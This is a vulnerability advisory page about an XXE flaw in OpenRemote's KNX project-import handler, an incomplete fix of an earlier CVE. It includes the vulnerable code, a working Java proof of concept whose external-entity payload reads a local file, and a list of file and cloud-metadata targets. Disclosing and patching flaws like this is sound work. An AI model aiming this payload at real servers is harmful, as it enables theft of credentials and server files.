OpenRemote CVE-2026-54640
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Remote low-complexity import needs a low-privilege authenticated session (PR:L); XXE yields arbitrary file read (C:H) with no write (I:N) and only DTD/SSRF-driven availability effects (A:L).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2Blast Radius
ecosystem impact- 5 maven packages depend on io.openremote:openremote-agent (2 direct, 3 indirect)
Ecosystem-wide dependent count for version 1.24.2.
DescriptionGitHub Advisory
Summary
The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).
Details
Incomplete patch
CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.
Patched file - AbstractVelbusProtocol.java:
private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory;
}Vulnerable file - KNXProtocol.java, lines 229-249:
// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
// Lines 233-245: Saxon XSLT - no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP
new StreamResult(writer));
// Line 249: XMLInputFactory - no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
.createXMLStreamReader(new StringReader(xml))) { ... }Data flow
POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)
→ AgentResourceImpl.doProtocolAssetImport(fileData)
→ KNXProtocol.startAssetImport(byte[] fileData)
→ ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
→ Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1
→ XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2
→ external entity resolved → arbitrary file readComparison with patched code
| Handler | XML parser | DTD disabled | Status |
|---|---|---|---|
AbstractVelbusProtocol | DocumentBuilderFactory | ✅ 5 features set | Patched (CVE-2026-40882) |
KNXProtocol | Saxon + XMLInputFactory | ❌ none set | Not patched |
PoC
No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.
Requirements: Java 17+, Maven 3.8+
pom.xml dependency:
<dependency>
<groupId>net.sf.saxon</groupId>
<artifactId>Saxon-HE</artifactId>
<version>12.9</version>
</dependency>Exploit.java:
import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;
public class Exploit {
public static void main(String[] args) throws Exception {
// Sentinel file - proves arbitrary file read
Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
Files.writeString(sentinel, tag);
String maliciousXml =
"<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
"]>\n" +
"<root><data>&xxe;</data></root>";
// Stage A: XMLInputFactory (KNXProtocol.java:249 - no security config)
XMLInputFactory factory = XMLInputFactory.newInstance();
XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
StringBuilder sb = new StringBuilder();
while (reader.hasNext()) {
int e = reader.next();
if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
}
System.out.println("Stage A result: " + sb.toString().trim());
// Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
String xsl = "<?xml version=\"1.0\"?>" +
"<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
"<xsl:output method=\"text\"/>" +
"<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
"</xsl:stylesheet>";
TransformerFactory tf = new TransformerFactoryImpl();
StringWriter writer = new StringWriter();
tf.newTransformer(new StreamSource(new StringReader(xsl)))
.transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
System.out.println("Stage B result: " + writer.toString().trim());
Files.deleteIfExists(sentinel);
}
}Build and run:
mvn clean package -q
java -jar target/openremote-xxe-1.0.jarVerified output (JDK 21, Linux):
Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.
Impact
Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).
Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:
/etc/passwd- user enumeration- Application configuration files containing database credentials or API keys
- Cloud provider metadata endpoints via SSRF (
http://169.254.169.254/...) - Internal service endpoints reachable from the server
The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.
Articles & Coverage 1
AnalysisAI
Arbitrary file read in OpenRemote's KNXProtocol asset-import handler lets any authenticated user (PR:L, any realm) upload a malicious ETS project ZIP whose 0.xml is parsed via Saxon XSLT and XMLInputFactory without XXE hardening, resolving external entities to exfiltrate server files such as /etc/passwd, openmrs-runtime.properties, and cloud credential files, with SSRF against internal endpoints as a secondary impact. This is an incomplete-fix regression of CVE-2026-40882, which only hardened the parallel Velbus handler and left KNXProtocol's two XML parsing calls unprotected. A full working proof-of-concept reproducing both parsing stages is publicly available; the vulnerability is not listed in CISA KEV.
Technical ContextAI
The flaw is a classic XML External Entity (XXE) injection (CWE-611) in the OpenRemote Manager agent module (pkg:maven/io.openremote:openremote-agent). OpenRemote is an open-source IoT device-management platform, and KNXProtocol is a built-in protocol handler that imports KNX/ETS building-automation project files. Import data (the ZIP's 0.xml) flows into two unsecured parsers: Saxon-HE 12.9's TransformerFactoryImpl performing an XSLT transform, and a default XMLInputFactory.newInstance() StAX reader - neither disables DOCTYPE declarations or external entity resolution. The remediating pattern from CVE-2026-40882, createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java, sets five protective features (FEATURE_SECURE_PROCESSING, disallow-doctype-decl, disabling external general/parameter entities, and load-external-dtd=false) but was never applied to KNXProtocol, so attacker-controlled DTDs with SYSTEM entities referencing file:// or http:// URIs are resolved and returned in the transform output.
RemediationAI
Apply the vendor fix: upgrade to the OpenRemote build containing commit c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9 (Patch available per vendor advisory; a specific released version tag is not confirmed in the provided data), which extends the secure-parser configuration to KNXProtocol. Reference the advisory at https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq and the patch commit at https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9. Until patched, restrict or disable the protocol asset-import endpoint (POST /api/{realm}/agent/{agentId}/import) via reverse-proxy/WAF rules or by limiting import privileges to trusted administrators only, accepting that this blocks legitimate KNX/ETS project imports; tighten realm account provisioning so untrusted users cannot obtain the low-privilege session the attack needs; and apply network egress filtering from the Manager host (block outbound access to 169.254.169.254 and internal services) to blunt the SSRF vector, at the cost of breaking any legitimate outbound calls the server makes.
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External POC / Exploit Code
Leaving vuln.today
GHSA-7v6w-c3f4-9wpq